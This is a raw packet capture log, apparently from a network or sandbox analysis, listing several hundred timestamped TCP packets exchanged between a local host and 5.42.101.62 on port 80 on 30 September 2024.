Sep 30, 2024 13:59:28.268481970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268508911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268755913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268775940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268786907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268795013 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268824100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268851042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268862963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268883944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268893957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268902063 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268919945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268943071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268968105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268980026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.269012928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.269018888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.269031048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.269064903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.269071102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.269073963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.269104958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.356947899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357043982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357053041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357079029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357096910 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357105970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357114077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357130051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357141972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357157946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357172012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357177019 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357193947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357201099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357209921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357223988 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357223988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357237101 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357239008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357260942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357271910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357286930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357299089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357300997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357315063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357327938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357331038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357345104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357357025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357358932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357376099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357383966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357395887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357403040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357405901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357415915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357425928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357433081 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357435942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357446909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357455015 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357456923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357466936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357467890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357476950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357487917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357492924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357508898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357508898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357531071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357537985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357541084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357552052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357553959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357562065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357578039 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357582092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357593060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357603073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357606888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357614040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357624054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357630014 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357634068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357641935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357645035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357656956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357664108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357676029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357681036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357687950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357697964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357708931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357712984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357719898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357731104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357739925 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357742071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357758999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357779026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357785940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357799053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357809067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357819080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357829094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357832909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357847929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357865095 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357892036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357903004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357913017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357922077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.357943058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357970953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357988119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.357994080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358006001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358016014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358026981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358042002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358063936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358068943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358076096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358087063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358097076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358104944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358108044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358124018 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358150959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358165979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358176947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358186960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358196974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358206987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358222961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358237028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358263016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358280897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358293056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358303070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358303070 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358314037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358325958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358335018 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358340979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358364105 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358374119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358381033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358382940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358418941 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358556032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358601093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358624935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358635902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358647108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358653069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358664989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358680964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358691931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358694077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358701944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.358716965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.358740091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.359105110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359114885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359137058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359148026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.359150887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359160900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359167099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359173059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359206915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.359357119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359405041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.359405041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.359426022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359436035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359447002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359467030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359471083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.359477997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359487057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359497070 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.359522104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.359539986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359549999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359587908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.359731913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359774113 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.359787941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359800100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359819889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359831095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359842062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359843016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.359848976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.359863997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359873056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.359874010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.359905005 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.359992981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.360006094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.360016108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.360027075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.360034943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.360038042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.360059977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.360110044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.360125065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.360136032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.360146046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.360167027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.360177040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.447726965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.447757959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.447771072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.447823048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.447825909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.447834015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.447844982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.447856903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.447868109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.447876930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.447901964 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.447918892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448014021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448025942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448035002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448045969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448056936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448057890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448067904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448079109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448090076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448107004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448137045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448396921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448419094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448430061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448441029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448452950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448467016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448468924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448478937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448486090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448498964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448506117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448510885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448519945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448535919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448537111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448546886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448556900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448561907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448568106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448580027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448580027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448604107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448612928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448743105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448760033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448774099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448786020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448786020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448796988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448812008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448815107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448826075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448837042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448856115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448875904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448883057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448894978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448904991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448915958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448926926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448930979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448936939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448947906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448957920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448957920 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448968887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448972940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.448978901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448990107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.448996067 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.449013948 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.449026108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.467683077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.472595930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657536030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657553911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657577038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657588005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657598019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657620907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657638073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657658100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657656908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.657669067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657679081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657692909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.657696962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657710075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657710075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.657720089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657731056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657737017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.657746077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657757044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657767057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.657769918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657823086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.657849073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657865047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657875061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657886028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657887936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.657896042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657906055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657917976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657918930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.657932997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657944918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657952070 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.657963991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657970905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.657975912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.657998085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658029079 CEST	49721	80	192.168.2.6	5.42.101.62
